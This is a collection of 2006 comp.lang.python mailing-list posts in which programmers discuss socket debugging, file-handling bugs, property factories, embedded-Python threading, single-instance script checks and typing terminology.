From cameron.walsh at gmail.com  Fri Oct 27 02:02:16 2006
From: cameron.walsh at gmail.com (Cameron Walsh)
Date: Fri, 27 Oct 2006 14:02:16 +0800
Subject: Cards deck problem
In-Reply-To: <1161926238.253178.29340@h48g2000cwc.googlegroups.com>
References: <1161854836.904027.8380@m73g2000cwd.googlegroups.com>
	<slrnek30pv.jcj.mmn@linux.site>
	<B1g0h.19774$UG4.2581@newsread2.news.pas.earthlink.net>
	<1161926238.253178.29340@h48g2000cwc.googlegroups.com>
Message-ID: <ehs7bm$1jt$1@enyo.uwa.edu.au>

mensanator at aol.com wrote:
> Dennis Lee Bieber wrote:
>> On Fri, 27 Oct 2006 03:48:25 GMT, Michael Naunton
>> <mmn at news.bellatlantic.net> declaimed the following in comp.lang.python:
>>
>>> This may seem pendantic, but CS is mostly about thinking about (and thus
>> 	<snicker> Someday I should arrange to do a lost-wax casting of a
>> /pendant/ with the definition of /pedant/ on it <G>
> 
> Why not a /pedant/ with a description of /pendant/ on it?
> 
>> --
>> 	Wulfraed	Dennis Lee Bieber		KD6MOG
>> 	wlfraed at ix.netcom.com		wulfraed at bestiaria.com
>> 		HTTP://wlfraed.home.netcom.com/
>> 	(Bestiaria Support Staff:		web-asst at bestiaria.com)
>> 		HTTP://www.bestiaria.com/
> 
As fun as it would be, I haven't found too many /pedants/ who want to 
have the definition of /pendant/ written on them.

You've just given me an idea for an online T-Shirt printing business. 
Thank you, and your royalties will be in the post soon, just provide me 
with your credit card details.


From istvan.albert at gmail.com  Fri Oct 20 12:26:35 2006
From: istvan.albert at gmail.com (Istvan Albert)
Date: 20 Oct 2006 09:26:35 -0700
Subject: invert or reverse a string... warning this is a rant
References: <mailman.760.1161275432.11739.python-list@python.org>
	<1161358037.736440.24010@h48g2000cwc.googlegroups.com>
Message-ID: <1161361589.757562.243030@h48g2000cwc.googlegroups.com>

Carl Banks wrote:

> Say you're using a function from a third-party library that finds the
> first character in a string that meets some requirement.  You need to
> find the last such character.

You seem to imply that invoking a function on a reversed input is
somehow a generic solution to the problem (finding first vs finding
last) that you describe above above.

That would be the exception rather than the rule.

i.



From bjobrien62 at gmail.com  Thu Oct  5 10:01:50 2006
From: bjobrien62 at gmail.com (SpreadTooThin)
Date: 5 Oct 2006 07:01:50 -0700
Subject: socket client server... simple example... not working...
In-Reply-To: <mailman.1310.1160016608.10491.python-list@python.org>
References: <1160015498.917617.256110@c28g2000cwb.googlegroups.com>
	<mailman.1310.1160016608.10491.python-list@python.org>
Message-ID: <1160056909.927803.251790@i42g2000cwa.googlegroups.com>


Jean-Paul Calderone wrote:
> On 4 Oct 2006 19:31:38 -0700, SpreadTooThin <bjobrien62 at gmail.com> wrote:
> >client:
> >
> >import socket
> >s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
> >s.connect(("192.168.1.101", 8080))
> >print 'Connected'
> >s.send('ABCD')
>
> Here you didn't check the return value of send to determine if all of the string was copied to the kernel buffer to be sent, so you may have only succeeded in sending part of 'ABCD'.
>
> >buffer = s.recv(4)
>
> in the above call, 4 is the maximum number of bytes recv will return.  It looks as though you are expecting it to return exactly 4 bytes, but in order to get that, you will need to check the length of the return value and call recv again with a lower limit until the combination of the return values of each call gives a total length of 4.
>
> >print buffer
> >s.send('exit')
>
> Again, you didn't check the return value of send.
>
> >
> >
> >server:
> >
> >serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
> >serversocket.bind(("192.168.1.101", 8080))
> >serversocket.listen(5)
> >print 'Listen'
> >(clientsocket, address) = serversocket.accept()
> >print 'Accepted'
> >flag = True
> >while flag:
> >	chunk = serversocket.recv(4)
>
> You're calling recv on serversocket instead of on clientsocket.  You're also relying on recv to return exactly 4 bytes, which it may not do.
>
> >	if chunk == '':
> >		raise RuntimeError, "socket connection broken"
> >	elif chunk == 'exit':
> >		flag = False
> >	else:
> >		serversocket.send(chunk)
>
> Another missing check of the return value of send.
>
> >print 'Done'
> >
> >Server says!
> >
> >Listen
> >Accepted
> >Traceback (most recent call last):
> >  File "server.py", line 11, in ?
> >    chunk = serversocket.recv(4)
> >socket.error: (57, 'Socket is not connected')
> >
> >
> >Client says:
> >Connected
> >
> >What have I done wrong now!
>
> I recommend switching to Twisted.  The Twisted equivalent (I guess - the protocol defined above is strange and complex (probably unintentionally, due to the things you left out, like any form of delimiter) and I doubt I really understand the end goal you are working towards), minus bugs (untested):
>
>     # client.py
>     from twisted.internet import reactor, protocol
>
>     class Client(protocol.Protocol):
>         buf = ''
>         def connectionMade(self):
>             self.transport.write('ABCD')
>         def dataReceived(self, data):
>             self.buf += data
>             if len(self.buf) >= 4:
>                 reactor.stop()
>
>     protocol.ClientCreator(reactor, Client).connectTCP('192.168.1.101', 8080)
>     reactor.run()
>
>     # server.py
>     from twisted.internet import reactor, protocol
>
>     class Server(protocol.Protocol):
>         buf = ''
>         def dataReceived(self, bytes):
>             self.buf += bytes
>             exit = self.buf.find('exit')
>             if exit != -1:
>                 self.transport.write(self.buf[:exit])
>                 self.buf = self.buf[exit + 4:]
>                 reactor.stop()
>             else:
>                 self.transport.write(self.buf)
>                 self.buf = ''
>
>     f = protocol.ServerFactory()
>     f.protocol = Server
>     reactor.listenTCP('192.168.1.101', 8080, f)
>     reactor.run()
>
> Hope this helps,
>
> Jean-Paul

Jean-Paul many thanks for this and your effort.
but why is it every time I try to do something with 'stock' python I
need another package?
By the time I've finished my project there are like 5 3rd party add-ons
to be installed.
I know I'm a python newbie... but I'm far from a developer newbie and
that can be a recipe for
disaster.  The stock socket should work and I think I've missed an
obvious bug in the code other
than checking the return status.



From codecraig at gmail.com  Mon Oct 30 15:40:22 2006
From: codecraig at gmail.com (abcd)
Date: 30 Oct 2006 12:40:22 -0800
Subject: wxPython TextCtrl - weird scrolling behavior
In-Reply-To: <N6t1h.205$1n3.4487@news.tufts.edu>
References: <1162237089.308746.70370@e3g2000cwe.googlegroups.com>
	<PJs1h.204$1n3.4348@news.tufts.edu>
	<1162238656.661097.75180@f16g2000cwb.googlegroups.com>
	<N6t1h.205$1n3.4487@news.tufts.edu>
Message-ID: <1162240822.260735.316040@e64g2000cwd.googlegroups.com>

> But one question that comes to mind is, do you not add sizerTextPanel to
> sizerMainPanel? I think all sub-sizers should be added to the main
> sizer, unless there's some weird reason I don't know of.

well i set the sizer on the textPanel and then I add the textPanel to
sizerMainPanel



From sjmachin at lexicon.net  Mon Oct  2 00:25:48 2006
From: sjmachin at lexicon.net (John Machin)
Date: 1 Oct 2006 21:25:48 -0700
Subject: Problem with .next() method adding junk characters.
In-Reply-To: <1159761338.068956.245450@h48g2000cwc.googlegroups.com>
References: <1159761338.068956.245450@h48g2000cwc.googlegroups.com>
Message-ID: <1159763148.568488.62270@m7g2000cwm.googlegroups.com>


Rainy wrote:
> Hi,
>
> I tried searching for this and did not find this issue. I only looked
> at about dozen hits, I apologize if this is covered somewhere and I
> missed it. Without much further ado, here's the thing (Win, Py2.5):
>
> >>> f = open('test', 'w')
> >>> f.fileno()
> 4
> >>> f.write('1\n')
> >>> f.write('2\n3\n4\n')
> >>> f.next()
>
> Traceback (most recent call last):
>   File "<pyshell#8>", line 1, in <module>
>     f.next()
> IOError: [Errno 9] Bad file descriptor

This *should* complain that the file is not open for reading. What you
see is an accidental error. message. When I tried it, I got no error,
but it printed a few hundred bytes of garbage.
In both your case and mine, it has also written a load of junk to the
file!

> >>> f.close()
> >>> f = open('test')
> >>> f.next()
> '1\n'
> >>> f.next()
> '2\n'
> >>> f.next()
> '3\n'
> >>> f.next()
> '4\n'
> >>> f.next()
> '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
> ...many more lines of junk...'

Junk was written to the file earlier.

>
> I understand that you're not
> supposed to call .next on a file open for writing.

Indeed. However if you mess up, Python is supposed to give you a
meaningful error message and not write gibberish to your file.

Please report it as a bug.

Cheers,
John



From deets at nospam.web.de  Fri Oct 13 21:05:29 2006
From: deets at nospam.web.de (Diez B. Roggisch)
Date: Sat, 14 Oct 2006 03:05:29 +0200
Subject: SOAPpy and callback
In-Reply-To: <X4PXg.47137$DU3.34168@tornado.texas.rr.com>
References: <1160690157.961643.248720@m73g2000cwd.googlegroups.com>
	<4p94a0Fhr1amU1@uni-berlin.de>
	<_8NXg.46981$DU3.27448@tornado.texas.rr.com>
	<4p9r78Fi2olfU1@uni-berlin.de>
	<X4PXg.47137$DU3.34168@tornado.texas.rr.com>
Message-ID: <4parepFho4q7U1@uni-berlin.de>

> I like your term "standard-wise".  Although there is nothing in the SOAP 
> "standard" that prevents this architecture, it is probably open for 
> discussion whether it is "wise."

Might stem from "standardweise", the german word for something that is 
part of a standard, or e.g. something always having this or that feature.

> As it happens, the client and server *don't* share the same process space - 
> they don't even share the same computer.
> 
> And it *does* work, I'm running the software on a couple of systems in my 
> office right now.

Maybe we have a misunderstanding here. I'm not a native speaker, so bear 
  with me.

In CORBA or RMI, there is a notion of an object/interface reference 
passed around, which allows for callbacks in a natural way. Which is 
AFAIK not the case in SOAP. Hell, they don't even know objects and 
stateful connections...

That you obviously can define a system that needs several SOAP servers 
to interact with each other - well, you could also perform inter process 
communication using printed documents, some horses and either OCR or 
data typists. But this isn't exactly inter process communication in my 
book, albeit there certainly _are_ processes, _and_ communication :)

Diez


From simon at brunningonline.net  Fri Oct 20 13:58:19 2006
From: simon at brunningonline.net (Simon Brunning)
Date: Fri, 20 Oct 2006 18:58:19 +0100
Subject: invert or reverse a string... warning this is a rant
In-Reply-To: <1161362095.822361.159160@b28g2000cwb.googlegroups.com>
References: <eh8708$nc7$1@solaris.cc.vt.edu>
	<7iNZg.117$1n3.3352@news.tufts.edu> <eh89n4$r5q$1@solaris.cc.vt.edu>
	<pan.2006.10.19.23.04.06.704397@REMOVE.THIS.cybersource.com.au>
	<mailman.855.1161361728.11739.python-list@python.org>
	<1161362095.822361.159160@b28g2000cwb.googlegroups.com>
Message-ID: <8c7f10c60610201058u60c3e4c1h3bf343e13cbcdd67@mail.gmail.com>

On 20 Oct 2006 09:34:55 -0700, Istvan Albert <istvan.albert at gmail.com> wrote:
> Yes, that's where the big bucks are, the Palindrome Industry.
>
> It is the shortsightedness of the Python core developers that keeps the
> palindrome related functions and algorithms out of the standard library

+1 QOTW

-- 
Cheers,
Simon B
simon at brunningonline.net
http://www.brunningonline.net/simon/blog/


From jstroud at mbi.ucla.edu  Tue Oct 17 23:36:23 2006
From: jstroud at mbi.ucla.edu (James Stroud)
Date: Wed, 18 Oct 2006 03:36:23 GMT
Subject: creating many similar properties
In-Reply-To: <n2fZg.3322$Ka1.1194@news01.roc.ny>
References: <n2fZg.3322$Ka1.1194@news01.roc.ny>
Message-ID: <XihZg.11999$TV3.10265@newssvr21.news.prodigy.com>

Lee Harr wrote:
> I understand how to create a property like this:
> 
> class RC(object):
>     def _set_pwm(self, v):
>         self._pwm01 = v % 256
>     def _get_pwm(self):
>         return self._pwm01
>     pwm01 = property(_get_pwm, _set_pwm)
> 
> 
> But what if I have a whole bunch of these pwm properties?
> 
> I made this:
> 
> class RC(object):
>     def _makeprop(name):
>         prop = '_%s' % name
>         def _set(self, v):
>             v_new = v % 256
>             setattr(self, prop, v_new)
>         def _get(self):
>             return getattr(self, prop)
>         return property(_get, _set)
> 
>     pwm01 = _makeprop('pwm01')
>     pwm02 = _makeprop('pwm02')
> 
> 
> Not too bad, except for having to repeat the name.
> 
> I would like to just have a list of pwm names and
> have them all set up like that. It would be nice if
> each one was set to a default value of 127 also....
> 
> Any thoughts?
> 
> Thanks for your time.

You want a "class factory". This can either be the esoteric "metaclass" 
(using "type"), which one can only understand for moments at a time, or 
something more grounded in intuition, or, a combo (for fun). You can 
probably tighten this a little, but this is the idea:

def c_factory(cname, pname, num, modulus, default):
   def accessorize(prop):
     def _get(self):
       return getattr(self, prop)
     def _set(self, v):
       v_new = v % modulus
       setattr(self, prop, v_new)
     return (_get, _set)
   def _init(self):
     for i in xrange(num):
       setattr(self, '%s%s' % (pname,i), default)
   _C = type(cname, (object,), {'__init__':_init})
   for i in xrange(num):
     prop = '_%s%s' % (pname, i)
     setattr(_C, '%s%s' % (pname, i), property(*accessorize(prop)))
   return _C

E.g.:


py> def c_factory(cname, pname, num, modulus, default):
...   def accessorize(prop):
...     def _get(self):
...       return getattr(self, prop)
...     def _set(self, v):
...       v_new = v % modulus
...       setattr(self, prop, v_new)
...     return (_get, _set)
...   def _init(self):
...     for i in xrange(num):
...       setattr(self, '%s%s' % (pname,i), default)
...   _C = type(cname, (object,), {'__init__':_init})
...   for i in xrange(num):
...     prop = '_%s%s' % (pname, i)
...     setattr(_C, '%s%s' % (pname, i), property(*accessorize(prop)))
...   return _C
...
py> Bob = c_factory('Bob', 'bob', 4, 256, 128)
py> b = Bob()
py> b.bob0
128
py> b.bob1
128
py> b.bob1 = 258
py> b.bob1
2
py> b.bob3
128
py> dir(b)

['__class__',
  '__delattr__',
  '__dict__',
  '__doc__',
  '__getattribute__',
  '__hash__',
  '__init__',
  '__module__',
  '__new__',
  '__reduce__',
  '__reduce_ex__',
  '__repr__',
  '__setattr__',
  '__str__',
  '__weakref__',
  '_bob0',
  '_bob1',
  '_bob2',
  '_bob3',
  'bob0',
  'bob1',
  'bob2',
  'bob3']
py> Bob
<class '__main__.Bob'>




-- 
James Stroud
UCLA-DOE Institute for Genomics and Proteomics
Box 951570
Los Angeles, CA 90095

http://www.jamesstroud.com/


From Roka100 at gmail.com  Tue Oct 10 04:08:32 2006
From: Roka100 at gmail.com (Jia Lu)
Date: 10 Oct 2006 01:08:32 -0700
Subject: A curses-game I need help with.
In-Reply-To: <1160302875.055414.148350@m7g2000cwm.googlegroups.com>
References: <1160302875.055414.148350@m7g2000cwm.googlegroups.com>
Message-ID: <1160467712.744953.55520@m7g2000cwm.googlegroups.com>


> try:
>     import curses
> except ImportError:
>     print "Missing the Curses-library."
>     print "Please install the curses-library correctly."
>     SystemExit
       ~~~~~~~~~
                         Does this work ? Maybe *raise SystemExit* ??



From SSchukat at dspace.de  Tue Oct 24 07:05:09 2006
From: SSchukat at dspace.de (Stefan Schukat)
Date: Tue, 24 Oct 2006 12:05:09 +0100
Subject: python thread state
In-Reply-To: <ehig51$8ud$1@sea.gmane.org>
Message-ID: <1B3F2E002D9AD04BBC1A27B370F29EB9023126@exchange2003.dspace.de>

For this use case the PyGILState API was introduced. 

e.g. try
PyGILState_STATE state = PyGILState_Ensure()
run python code
PyGILState_Release(state) 

	Stefan

> -----Original Message-----
> From: python-list-bounces+sschukat=dspace.de at python.org 
> [mailto:python-list-bounces+sschukat=dspace.de at python.org] On 
> Behalf Of Bryan
> Sent: Monday, October 23, 2006 2:32 PM
> To: python-list at python.org
> Subject: python thread state
> 
> hi,
> 
> i'm trying to write a multithreaded embedded python 
> application and i'm having some trouble.  i found this 
> article "embedding python in multi-threaded c/c++ 
> applications" in the python journal
> (http://www.linuxjournal.com/article/3641) but there still 
> seems to be a step missing for me.
> 
> each time a function in my c module is called, it's called on 
> a different c thread.  i would then like to call a function 
> in an embedded python script.
> from my understanding of the article, you can associate a 
> python script with a c thread by calling PyThreadState_New as 
> in this code:
> 
> // save main thread state
> PyThreadState * mainThreadState = NULL;
> mainThreadState = PyThreadState_Get();
> PyEval_ReleaseLock();
> 
> // setup for each thread
> PyEval_AcquireLock();
> PyInterpreterState * mainInterpreterState = 
> mainThreadState->interp PyThreadState * myThreadState = 
> PyThreadState_New(mainInterpreterState);
> PyEval_ReleaseLock();
> 
> //execute python code
> PyEval_AcquireLock();
> PyThreadState_Swap(myThreadState);
> # execute python code
> PyThreadState_Swap(NULL);
> PyEval_ReleaseLock();
> 
> 
> unfortunately, this doesn't work for me because each time i 
> get called to execute python code, i'm in a new c thread and 
> PyThreadState_Swap seems to want to be executed in the same c 
> thread that PyThreadState_New was executed in.  if this isn't 
> the case, please let know.  
> 
> i then called PyThreadState_New each time i wanted to call a 
> python function in the script, but PyThreadState_New wipes 
> out, or rather gives you a new global dictionary, because i 
> lost all my global variables.  the article assumes you have 
> one c thread per python thread state, but i want multiple c 
> threads per python thread state. Is there a c api function 
> that will associate a c thread without resetting the global 
> dictionary?
> 
> thank you,
> 
> bryan
> 
> --
> http://mail.python.org/mailman/listinfo/python-list
> 


From steven.bethard at gmail.com  Wed Oct 25 18:04:34 2006
From: steven.bethard at gmail.com (Steven Bethard)
Date: Wed, 25 Oct 2006 16:04:34 -0600
Subject: Is there a python development site for putting up python libraries
	that people might be interest in working on?
In-Reply-To: <mailman.1201.1161807213.11739.python-list@python.org>
References: <mailman.1201.1161807213.11739.python-list@python.org>
Message-ID: <zIidnYhUF6PsQqLYnZ2dnUVZ_vSdnZ2d@comcast.com>

Kenneth McDonald wrote:
> I would like to avoid putting this up on sourceforge as I think it would 
> do much better at a site aimed specifically at Python development.

I've been using python-hosting.com for the argparse module and found it 
to be a pretty good solution.  They offer free Trac/Subversion hosting 
for any open-source Python projects:

     http://www.webfaction.com/freetrac

Steve


From hpsekhon at googlemail.com  Mon Oct  2 06:11:45 2006
From: hpsekhon at googlemail.com (Hari Sekhon)
Date: Mon, 02 Oct 2006 11:11:45 +0100
Subject: Making sure script only runs once instance at a time.
In-Reply-To: <efjbhh$d9m$1@sea.gmane.org>
References: <mailman.801.1159372327.10491.python-list@python.org>	<1159531181.314800.224180@k70g2000cwa.googlegroups.com>	<mailman.936.1159535264.10491.python-list@python.org>	<7xk63mpzwr.fsf@ruckus.brouhaha.com>	<451D25A3.7010803@googlemail.com>
	<efjbhh$d9m$1@sea.gmane.org>
Message-ID: <4520E5E1.3040409@googlemail.com>

Fredrik Lundh wrote:
> Hari Sekhon wrote:
>
>   
>> I'm not sure if that is a very old way of doing it, which is why I was 
>> reluctant to do it. My way actually uses the process list of the os 
>> (linux) and counts the number of instances. If it is more than 0 then 
>> another process is running and the script exits gracefully.
>>     
>
> the code that reliably identifies instances of a given program would be 
> interesting to see.
>
>   
>> Also, apart from the fact the using lockfiles feels a bit 1970s, I have
>>     
>  > found that in real usage of other programs within the company that use
>  > lockfiles, it sometimes causes a bit of troubleshooting time when
>  > it stops working due to a stale lockfile.
>
> to minimize that risk, store the pid in the lockfile (and preferrably 
> also the host name), and make sure that the program checks that the pid 
> is still active before it "stops working".
>
> </F>
>
>   

How exactly do you check that the pid is still active in python? Is 
there a library or something that will allow me to manipulate system 
processes and listings etc the way everybody does in unix shells....

I'm a huge fan of shell so I've done my own thing which leans on shell 
as follows:

import sys,commands,os

scriptpath = sys.argv[0]
scriptname = os.path.basename(scriptpath)

number_procs=commands.getstatusoutput('ps -ef|grep %s|grep -v grep|wc 
-l' % scriptpath)

if number_procs > 1:
    print "There appears to be another %s process running." % scriptname
    print "Please do not run more than one instance of this program"
    print "Quitting for safety..."
    sys.exit(200)

This works nicely for me.

You might also want to add a bit of discrimination to the script 
(something along the lines of "get a decent os"...since this won't work 
on windows)

import platform
if platform.system() != 'Linux':
    print "Sorry but this program can only be run on Linux"
    sys.exit(201)
    #todo: should do a bit extra for our bsd cousins here....


Let me know if you think you have a better way. Please provide a code 
snippet if so.

-h
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From jeff at taupro.com  Tue Oct 31 00:48:42 2006
From: jeff at taupro.com (jeff at taupro.com)
Date: Mon, 30 Oct 2006 23:48:42 -0600
Subject: Talks at PyCon that Teach How to Be Better Programmers
References: <mailman.1089.1161707658.11739.python-list@python.org>
	<7xmz7ld46v.fsf@ruckus.brouhaha.com>
Message-ID: <87slh5xcg5.fsf@kim.timecastle.net>

Paul Rubin <"http://phr.cx"@NOSPAM.invalid> writes:

> "Robert Brewer" <fumanchu at amor.org> writes:
>> 2. Dynamic languages naturally more lang-maven oriented?
>>    See http://osteele.com/archives/2004/11/ides
>
> Not sure what you mean by this, even after reading that (interesting)
> article.  These days Haskell (which has static types) seems to be all
> the rage with language geeks.

dynamic type != dynamic language

Those are two orthogonal concepts.  A dynamic language means introspection,
the ability to modify itself at runtime, such as by creating new classes.

Dynamic typing refers to whether a particular variable can change its type at
runtime.

Another dimension is whether typing is "strong" or "weak".  Python is strongly
typed in it does not implicitly change types for you, such as Perl's coercing
numeric strings into actual integers to complete an addition operation.

I led a discussion on these last month to a local user group.  The slides are
at:

 http://www.dfwuug.org/wiki/Main/PresentationSlides

It was a vigorous discussion among programmers of several languages. ;-)

-Jeff



From email at christoph-haas.de  Tue Oct  3 14:20:08 2006
From: email at christoph-haas.de (Christoph Haas)
Date: Tue, 3 Oct 2006 20:20:08 +0200
Subject: Looping over a list question
In-Reply-To: <1159897804.722852.8160@i42g2000cwa.googlegroups.com>
References: <1159897804.722852.8160@i42g2000cwa.googlegroups.com>
Message-ID: <200610032020.08856.email@christoph-haas.de>

On Tuesday 03 October 2006 19:50, stephen at theboulets.net wrote:
> I found myself writing:
>
> for f in [i for i in datafiles if '.txt' in i]:
>     print 'Processing datafile %s' % f
>
> but I was wishing that I could have instead written:
>
> for f in in datafiles if '.txt' in f:
>     print 'Processing datafile %s' % f

What about:


import glob
for filename in glob.glob('*.txt'):
    print "Processing file", filename
    ...


 Christoph


From martin at v.loewis.de  Fri Oct 13 18:35:19 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Sat, 14 Oct 2006 00:35:19 +0200
Subject: Big speed boost in os.walk in Python 2.5
In-Reply-To: <1160731646.651573.37150@i42g2000cwa.googlegroups.com>
References: <1160731646.651573.37150@i42g2000cwa.googlegroups.com>
Message-ID: <453014A7.9030004@v.loewis.de>

looping schrieb:
> Maybe this improvement could be backported in Python 2.4 branch for the
> next release ?

As Fredrik explains, this is probably the side-effect of a from-scratch
rewrite of the relevant functions. Another (undesirable) side-effect is
that the resulting binary won't work on Windows 95 anymore. So
backporting it as-is is out of the question.

However, even if the patch was improved to still work on W9x, and to not
introduce the other behavioral changes that came with the rewrite, it
still couldn't go into 2.4.x. Likely, 2.4.4 is the final 2.4 release,
and the release candidate for that was already produced.

Regards,
Martin


From hg at nospam.com  Tue Oct 17 20:21:20 2006
From: hg at nospam.com (hg)
Date: Tue, 17 Oct 2006 19:21:20 -0500
Subject: Python Web Site?
In-Reply-To: <1161131153.484754.219230@m7g2000cwm.googlegroups.com>
References: <36WdnfRBgYet3ajYnZ2dnUVZ_q-dnZ2d@comcast.com>
	<1161131153.484754.219230@m7g2000cwm.googlegroups.com>
Message-ID: <dCeZg.28356$Go3.6560@dukeread05>

Eric_Dexter at msn.com wrote:
> wxpython is down for me also it did work befour my job interview at
> around noon central.  It may have been my wx.grid question for my
> project finaly did the system in.  I followed all the directions but
> can only post and get one responce and I can't respond to the questions
> (I get no email so I can post replies) seems odd. (last couple of days
> anyway)
> 
> http://www.dexrow.com
> 
> *% wrote:
>> Is there a problem with the Python and wxPython web sites?  I cannot
>> seem to get them up, and I am trying to find some documentation...
>>
>> 	Thanks,
>> 	Mike
> 
I still do get mails from the list

hg


From fredrik at pythonware.com  Tue Oct 10 04:20:18 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 10 Oct 2006 10:20:18 +0200
Subject: does raw_input() return unicode?
In-Reply-To: <463ff4860610100109n20a174b8lc546be2c46d25363@mail.gmail.com>
References: <12iln7en9ipit77@corp.supernews.com>	<452b5190$0$29833$9b622d9e@news.freenet.de>
	<463ff4860610100109n20a174b8lc546be2c46d25363@mail.gmail.com>
Message-ID: <egfl44$d53$1@sea.gmane.org>

Theerasak Photha wrote:

>>> So, does raw_input() ever return unicode objects and if
>>> so, under what conditions?
 >>
>> At the moment, it only returns unicode objects when invoked
>> in the IDLE shell, and only if the character entered cannot
>> be represented in the locale's charset.
> 
> Why only IDLE? Does urwid or another console UI toolkit avoid this somehow?

Martin was probably thinking of the standard distribution.

The 2.3 note says that "raw_input() *can* return Unicode", not that it 
"should" or "must" do it.

</F>



From __peter__ at web.de  Thu Oct 19 12:52:40 2006
From: __peter__ at web.de (Peter Otten)
Date: Thu, 19 Oct 2006 18:52:40 +0200
Subject: Can I use decorators to manipulate return type or create methods?
References: <1161265429.237110.43380@m73g2000cwd.googlegroups.com>
Message-ID: <eh8aci$2e2$00$1@news.t-online.com>

WakeBdr wrote:

> I'm writing a class that will query a database for some data and return
> the result to the caller.  I need to be able to return the result of
> the query in several different ways: list, xml, dictionary, etc.  I was
> wondering if I can use decorators to accomplish this.
> 
> For instance, I have the following method
> 
> def getUsers(self, params):
>     return users.query(dbc)
> 
> To get the appropriate return types, I also have these methods.  I have
> these convenience methods for every query method in my class.
> 
> def getUsersAsXML(self, params):
>     return self._toXML(self.getUsers(params))
> def getUsersAsDict(self, params):
>     return self._toDict(self.getUsers(params))
> def getUsersAsList(self, params):
>     return self._toList(self.getUsers(params))
> 
> Instead of creating these three methods for every query method, is
> there a way to use decorators to manipulate the return type.  I'd still
> like to have the caller use getUsersAsXML, I just don't want to write
> the AsXML methods for every query method.  So the decorator would
> essentially create the convenience methods instead of me coding them.
> 
> One solution that I don't want to use is passing a variable into the
> query method that determines the return type.  This is what I don't
> want to do.
> def getUsers(self, params, returnType):
> 
> Any ideas on how I can accomplish this?

Here's an odd approach, entirely based on naming conventions:

from operator import attrgetter

class Composer(object):
    def __getattr__(self, name):
        prefix, delim, suffix = name.rpartition("_as_")
        if prefix and suffix:
            cls = self.__class__
            inner = attrgetter(prefix)
            outer = attrgetter(delim + suffix)
            def wrapped(self, *args):
                return outer(self)(inner(self)(*args))
            setattr(cls, name, wrapped)
            return getattr(self, name)
        raise AttributeError("sorry, no %r" % name)

class A(Composer):
    def _as_xml(self, obj):
        return "as_xml(%s)" % (obj,)
    def _as_list(self, obj):
        return "as_list(%s)" % (obj,)
    def get_users(self):
        return "get_users()"

class B(A):
    def _as_list(self, obj):
        return "AS_LIST(%s)" % (obj,)
    def get_artist_as_a_young_man(self, name):
        return "get_artist_as_a_young_man(name=%r)" % name

if __name__ == "__main__":
    a = A()
    b = B()
    print a.get_users_as_list()
    print b.get_users_as_list()
    print a.get_users_as_xml()
    print b.get_artist_as_a_young_man_as_xml("James")
    print a.get_artist_as_a_young_man_as_xml("James") # AttributeError

Peter


From amk at amk.ca  Mon Oct  9 11:20:13 2006
From: amk at amk.ca (A.M. Kuchling)
Date: Mon, 09 Oct 2006 10:20:13 -0500
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<2sadneD3XpY0xb_YnZ2dnUVZ_q2dnZ2d@speakeasy.net>
	<eg0899$9g5$1@sea.gmane.org>
	<mailman.1259.1159965132.10491.python-list@python.org>
	<egdcop$4c0$1@wake.carmen.se>
	<1160400990.785258.17750@m73g2000cwd.googlegroups.com>
Message-ID: <LvCdnUYV44ww9bfYnZ2dnUVZ_oqdnZ2d@speakeasy.net>

On 9 Oct 2006 06:36:30 -0700, 
	Paul Boddie <paul at boddie.org.uk> wrote:
> ...  Meanwhile, despite the python.org codebase presumably running
> various commercial sites, ...

Nothing should have given you this impression!  python.org's
formatting is handled through a custom script called Pyramid, and if
you poke around with enough determination you can find the SVN
repository's URL.  But it's never been released as a tarball, and
isn't used by any other sites.

As an experiment I tried formatting the python.org site using
rest2web; that looks promising, if I ever figure out how sidebars
work, and may someday replace Pyramid.

--amk


From scott.daniels at acm.org  Sat Oct  7 13:35:13 2006
From: scott.daniels at acm.org (Scott David Daniels)
Date: Sat, 07 Oct 2006 10:35:13 -0700
Subject: Names changed to protect the guilty
In-Reply-To: <1160201214.367444.250270@i42g2000cwa.googlegroups.com>
References: <eg6opn$7oj$1@panix3.panix.com>
	<1160182951.812677.178750@i42g2000cwa.googlegroups.com>
	<eg75h3$lg9$1@panix3.panix.com>
	<1160201214.367444.250270@i42g2000cwa.googlegroups.com>
Message-ID: <4527dd4a$1@nntp0.pdx.net>

John Machin wrote:
> ...  any function/method whose name begins with "has" or "is"
> returns an honest-to-goodness actual bool (or what passed for
> one in former times).

True for 75% of the builtins:
    >>> import __builtin__
    >>> sorted(nm for nm in dir(__builtin__)
                if nm.startswith('is') or nm.startswith('has'))
    ['hasattr', 'hash', 'isinstance', 'issubclass']
    >>> [hasattr(type,'mro'), hash(123), isinstance(type, type),
         issubclass(type, type)]
    [True, 123, True, True]

:-)

--Scott David Daniels
scott.daniels at acm.org


From no-spam at no-spam-no-spam.com  Tue Oct 31 06:05:08 2006
From: no-spam at no-spam-no-spam.com (robert)
Date: Tue, 31 Oct 2006 12:05:08 +0100
Subject: import in threads: crashes & strange exceptions on dual core
	machines
In-Reply-To: <1162264611.252985.208010@m7g2000cwm.googlegroups.com>
References: <ei4vtc$220$1@news.albasani.net>
	<1162264611.252985.208010@m7g2000cwm.googlegroups.com>
Message-ID: <ei7al7$9ik$1@news.albasani.net>

Klaas wrote:
> It seems clear that the import lock does not include fully-executing
> the module contents.  To fix this, just import cookielib before the

What is the exact meaning of "not include fully-executing" - regarding the examples "import cookielib" ?
Do you really mean the import statement can return without having executed the cookielib module code fully?
(As said, a simple deadlock is not at all my problem)

> threads are spawned.  Better yet, use your own locks around the
> acquisition of the opener instance (this code seems fraughtfully
> thread-unsafe--fix that and you solve other problems besides this one).
> 

thanks. I will probably have to do the costly pre-import of things in main thread and spread locks as I have also no other real idea so far.

Yet this costs the smoothness of app startup and corrupts my believe in Python capabs of "lazy execution on demand". 
I'd like to get a more fundamental understanding of the real problems than just a general "stay away and lock and lock everything without real understanding".

